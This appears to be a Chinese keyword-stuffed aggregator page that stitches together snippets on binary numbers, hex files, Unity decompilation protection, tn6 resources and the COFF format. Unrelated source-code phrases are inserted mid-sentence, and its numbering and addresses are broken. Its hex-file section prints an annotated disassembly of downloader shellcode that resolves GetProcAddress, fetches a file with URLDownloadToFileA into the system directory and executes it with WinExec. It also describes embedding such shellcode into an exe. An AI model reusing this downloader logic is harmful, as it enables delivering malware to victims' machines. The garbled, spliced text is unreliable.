【黑马图书馆管理系统源码】【趋势波动源码】【游戏源码厂商】偏移二进制和源码

2024-11-18 13:27:08 来源:语言核心源码 分类:焦点

1.二进制怎么造句
2.hex文件是偏移什么?
3.如何防止unity3d代码被反编译?
4.如何解读tn6文件源码?
5.COFF段数据

偏移二进制和源码

二进制怎么造句

       1、世界上有种人,进制一种是和源懂二进制的,一种不懂。偏移

       2、进制本文按部就班地指导您如何在您的和源黑马图书馆管理系统源码环境中使用二进制模块。

       3、偏移但我们还不能罢休,进制因为二进制文件还在等着我们。和源

       4、偏移二进制流,进制用于未解释的和源数据字节。

       5、偏移AIX核心是进制进程某一时间在内存中的二进制表示形式。

       6、和源ClearCase常常用于执行二进制码,标签或基线设置在相关的版本之下,来指示可复用的二进制码的复合集。

       7、双4级二进制纹波计数器。高性能硅栅CMOS。

       8、该中间结果用二进制形式编码表示,并通过一个经过编码的计数器逐渐增加。

       9、通过对软件可执行二进制码的静态反汇编结果进行分析,可以对其进行非法的修改或窃取其知识产权。

       、需要两个或多个字节来完整表示的二进制数据.

       、所有的资源可以看成是十六进制模式和提取作为二进制文件.

       、DSA文件正好相反,它是一个更加复杂的二进制签名文件。

       、AMR由对二进制位组成,每对二进制位对应于一个存储保护键。

       、八进制数转换成等值的趋势波动源码二进制数的过程.

       、当我提到字符格式要比二进制码格式慢时,你说,从效率的角度来看,二进制代码格式使得软件更加难以维护。

       、本文结合二进制数字PSK信号和异或门的特点,组成了一个十分简单的异或门二进制PSK。

       、请确保手头的二进制只读光盘符合软件分发的许可协议。

       、优点:二进制码可移植到其他平台。

       、数字输出为LVDS兼容,支持二进制补码和偏移二进制两种格式.

       、因此这个计划可能会很容易的察觉的可变性,二进制双至关重要,确认这实在是蓝色的散兵游勇。

       、一串二进制数字存在数量,不管它所代表的含义为真还是假,抑或是毫无意义的废话。

       、以二进制调试器以及模拟器等为例,通过这些动态优化系统的运行速度要较之程序的直接运行速度慢上十几倍甚至更多。

       、没有从AIXVersion6去除对双模式内核扩展的支持,删除位内核并不影响二进制兼容性。

       、城市生活垃圾处理过程中的各种筛分设备,如振动筛、筛、筒筛等均可视作是二进制的分离设备。

       、但是,在软件术语中,该定义可以精炼为研究当前没有运行的源代码或二进制码。

       、游戏源码厂商这MIPS的计划得到一个输入一个十进制数,并将其转换的二进制同等学历.

       、要了解子网掩码如何用于区分不同的主机、网络和子网,请查看以二进制表示的IP地址。

       、研究了怎样利用基于TOAD的光开关来设计全光集成电路,从而进行二进制加减法运算。

       、某计算机内存容量为KB,那么它的内存地址寄存器需要位二进制。

       、它采用二进制计数器以把被乘数由并行形式转换成脉冲序列形式.

       、安装二进制文件、init脚本、示例配置文件并设置外部命令目录上的权限,如清单6所示。

       、一般地,在寄存器控制每一二进制位或二进制位的集控制大量设备的一些行为。

       、基于二进制可辨矩阵的知识约简。

       、电子学中,一种四位二进制记数器,其计数改变为从0到9再到0。

       、本文对二进制数字基带传输系统的阈值电压进行了图象上的解释,从而使该概念的意义更加清晰。

       、实际上,还可以选择.RSA和.PGP作为二进制签名文件的扩展名,这取决于所使用的算法。

       、假定我们有一个函数,它有一个参数是一个二进制位,返回的jedis jar源码也是一个二进制位。

       、利用随机脉冲尾数求差原理,导出了二进制两路尾数求差的计算法。

       、运用各种编码技术,一组位不仅能表示二进制数字,而且还能够作为其他离散值符号,例如:十进制数字或者是字母表中的字母。

       、虚拟化最新的发展称为指令集虚拟化,或者二进制转换。

       、使用资源文件管理不同地区的本地化字符串,将的二进制文件转换为所有地区都可以使用的通用资源。

       、将十进制数字转化为二进制形式,下面的列表中哪一项是正确的?

       、某些情况下,比如,如果您在应用更新期间通过一个网络连接从供应商处检索二进制文件,那么您可能不需要为软件更新打包实际的二进制文件。

       、纯二进制记数系统中的基数补码.

       、接收端根据发送端的相关规则,进行非混沌同步的逆运算,恢复出二进制信息序列。

       、任何实验和观测都可以归结为提出一个是与否的问题,而答案,正类似于计算机运行的0和1二进制数字。

       、使用二进制表示法,在每个位串行加法器动产位的杠杆转换成一个钟摆在摆动的时钟可见符号。

       、由于循环码是无权码,书写和编制都比普通二进制码麻烦,酒吧ps源码正确的编制是电路设计的关键。

       、很多系统管理员既希望节省磁盘空间,同时又希望将源文件和二进制文件保存在同一个系统中,并保持同步。

       、二进制加减,全加器的实现和性能,高速加法,带符号加法。

hex文件是什么?

       文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

       1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

       OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

        在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

       2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

       拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

       将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

       4AD    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

       4AD    :A1          mov     eax, dword ptr fs:[]                        ; 取peb

       4AD    8B 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

       4ADB    8B 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

       4ADE    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel.dll的地址

       4ADF    8B                 mov     eax, dword ptr [eax+8]                        ; eax=kernel.dll的地址

       4AD    8BD8                   mov     ebx, eax                                      ; ebx=kernel.dll的基址

       4AD    8B 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

       4AD    8BE               mov     esi, dword ptr [esi+ebx+]                   ; esi为kernel.dll导出表的偏移

       4ADB    F3                   add     esi, ebx                                      ; esi = kernel.dll导出表的虚拟地址

       4ADD    8B7E                 mov     edi, dword ptr [esi+]                       ; edi=ent的偏移地址

       4AD    FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

       4AD    8B4E                 mov     ecx, dword ptr [esi+]                       ; ecx = kernel.dll导出地址的个数

       4AD    ED                   xor     ebp, ebp                                      ; ebp=0

       4AD                         push    esi                                           ; 保存导出表虚拟地址

       4AD                         push    edi                                           ; 保存ent虚拟地址

       4AD                         push    ecx                                           ; 保存计数

       4ADA    8B3F                   mov     edi, dword ptr [edi]

       4ADC    FB                   add     edi, ebx                                      ; 定位ent中的函数名

       4ADE    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

       4AD    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

       4AD                         pop     ecx                                           ; 设置循环次数为 0xe

       4AD    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

       4AD                       je      short 4ADF                                ; 如果ENT中的函数名为GetProcAddress跳走

       4AD                         pop     ecx                                           ; 不相等则将导出地址数出栈

       4AD    5F                     pop     edi                                           ; ent虚拟地址出栈

       4AD    C7                 add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

       4ADC                         inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

       4ADD  ^ E2 E9                  loopd   short 4AD                                ; 循环查询

       4ADF                         pop     ecx

       4AD    5F                     pop     edi

       4AD    5E                     pop     esi

       4AD    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

       4AD    8B                 mov     eax, dword ptr [esi+]                       ; esi+0x Ordinal序号表偏移地址

       4AD    C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

       4AD    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

       4ADB    C1                   add     eax, ecx

       4ADD    C9                   xor     ecx, ecx                                      ; ecx=0

       4ADF    :8B                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

       4AD    8B 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel.dll的EAT的偏移地址

       4AD >  C3                   add     eax, ebx                                      ; eax = kernel.dll的eat虚拟地址

       4AD    C1E1                 shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

       4ADA    C1                   add     eax, ecx

       4ADC    8B                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

       4ADE    C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

       4AD    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

       4AD    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

       4AD    C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

       4AD    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

       4AD    6A                   push    4

       4ADB                         pop     ecx                                           ; ecx=4

       有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

       4ADC    E8             call    4ADE1                                      ; 设置IAT 得到4个函数的地址

       4AD    C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

       4AD                         push    edx

       4AD                         push    esi                                           ; urlmon

       4AD    FF FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll

       4AD    5A                     pop     edx                                           ; edx = GetProcAddress的地址

       4ADA    8BD8                   mov     ebx, eax

       4ADC    6A                   push    1

       4ADE                         pop     ecx

       4ADF    E8 3D            call    4ADE1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

       4ADA4    C6                 add     esi,                                        ; esi指向URLDownLoadToFileA的末地址

       4ADA7                         push    esi

       4ADA8                         inc     esi

       4ADA9    E                 cmp     byte ptr [esi],                             ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束

       4ADAC  ^  FA                  jnz     short 4ADA8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x

       4ADAE                     xor     byte ptr [esi], 

       4ADB1    5E                     pop     esi

       4ADB2    EC                 sub     esp,                                        ; 开辟  byte栈空间

       4ADB5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

       4ADB7    6A                   push    

       4ADB9                         push    ebx

       4ADBA    FF EC                call    dword ptr [edi-]                            ; 调用GetSystemDirectoryA得到系统目录

       4ADBD    C 5CE        mov     dword ptr [ebx+eax], EC                 ; ebx+0x 系统路径占 0x个字节

       4ADC4    C       mov     dword ptr [ebx+eax+4],                    ; 拼接下载后的文件路径%systemroot%\system\a.exe

       4ADCC    C0                   xor     eax, eax

       4ADCE                         push    eax

       4ADCF                         push    eax

       4ADD0                         push    ebx

       4ADD1                         push    esi

       4ADD2                         push    eax

       4ADD3 >  FF FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe

       4ADD6    8BDC                   mov     ebx, esp

       4ADD8                         push    eax

       4ADD9                         push    ebx

       4ADDA    FF F0                call    dword ptr [edi-]                            ; WinExec执行代码

       4ADDD                         push    eax

       4ADDE    FF F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

       接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

       使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

       通过这个实例 ,相信应该能理解一个大致的流程啦。

如何防止unity3d代码被反编译?

       防止Unity3D代码被反编译是手游安全中常见的破解风险。Unity的破解风险主要体现在Unity mono脚本解密、Unity il2cpp脚本解析、Assetbundle资源篡改三项。mono脚本文件的二进制形式及源码转换图示,展示了如何对mono脚本进行解密。Il2cpp脚本解析则需要使用Il2CppDumper工具,解析后能获得类名、函数名以及对应偏移信息。尽管iOS中还无法解析为源码,但Android的有效脚本加密对于防止破解尤为重要。Assetbundle资源篡改,如修改材质属性,可实现透视效果,同时还有资源被竞品**、分析的风险。存档数据被修改也是安全问题,如果数据不进行服务端校验或为单机游戏,游戏属性修改风险巨大。保护Unity安全时,自研保护系统面临高成本、兼容性问题、对抗破解的持续升级和第三方服务兼容性挑战。网易云易盾提供了Unity mono DLL脚本加密、IL2CPP加密、Assetbundle加密等解决方案,通过修改或HOOK mono_image_open_from_data_with_name函数,实现对CSharp DLL脚本的加密,以防止其被解密。Unity mono DLL脚本加密经历了从直接文件加密到抹掉PE头、再到方法级加密的三代技术演进。IL2CPP加密则需结合global-metadata.dat文件内的符号信息进行解析,通过SO加壳保护libil2cpp.so来实现。Assetbundle加密后,Unity Studio无法解析资源。网易易盾保护方案特点包括纯Native保护、对引擎SO做加壳、兼容性和稳定性高、性能影响小,支持多平台加固。在选择保护方案时,应考虑DEX加壳的兼容性和安全性问题,而网易易盾提供的纯Native保护方案为手游提供了一种更加安全和兼容性强的解决方案。

如何解读tn6文件源码?

       tn6 文件格式用于存储腾讯网游资源,包括角色、地图、界面等。

       解析该文件需了解其二进制结构,以 "TN6" 魔数开头标识。

       文件由多个 Chunk 组成,每个 Chunk 表示一个资源,格式包括 Chunk ID、大小和数据。

       Chunk ID 指示资源类型,不同 ID 对应不同资源,如地图、模型、贴图等,依据 ID 解析资源数据。

       数据部分采用压缩算法(如LZMA、zlib),需解压还原原始数据。

       tn6 文件还包含目录表,记录所有 Chunk 偏移地址,方便快速查找和访问。

       解析流程:读取文件头、目录表,遍历 Chunk,读取 ID、数据,解压还原,解析资源,加载用于渲染。

       示例解析器伪代码提供参考。

COFF段数据

       COFF文件中的数据结构主要包含三个部分:段数据、重定位表和行号表,它们各自存储不同的信息。

段数据:存储在COFF文件中,原始数据没有特定格式,根据段的类型和内容,数据内容和结构各异。

重定位表:存储所有段的重定位信息,用于在目标文件中定位各段的位置。每个段有自己的重定位表,包含定位偏移、符号索引和定位类型等信息。

行号表:对二进制代码与源代码行号建立关联,便于调试时定位错误源代码的行。

       重定位表中的记录结构简单,包括定位偏移、符号索引和定位类型。定位方式分为绝对和相对,通过偏移和段偏移计算出最终地址。

       行号表的结构包含代码地址或符号索引和对应的行号,方便调试时追踪程序执行位置。

       最后是符号表,复杂且重要,记录了所有段使用的符号信息,包括名称、值、所在段、类型和存储类型等。

       理解这些基本结构后,可以开始构建COFF文件解析器或进行简单的文件链接操作了。

扩展资料

       COFF – 通用对象文件格式(Common Object File Format),是一种很流行的对象文件格式(注意:这里不说它是“目标”文件,是为了和编译器产生的目标文件(*.o/*.obj)相区别,因为这种格式不只用于目标文件,库文件、可执行文件也经常是这种格式)。大家可能会经常使用VC吧?它所产生的目标文件(*.obj)就是这种格式。其它的编译器,如GCC(GNU Compiler Collection)、ICL(Intel C/C++ Compiler)、VectorC,也使用这种格式的目标文件。不仅仅是C/C++,很多其它语言也使用这种格式的对象文件。

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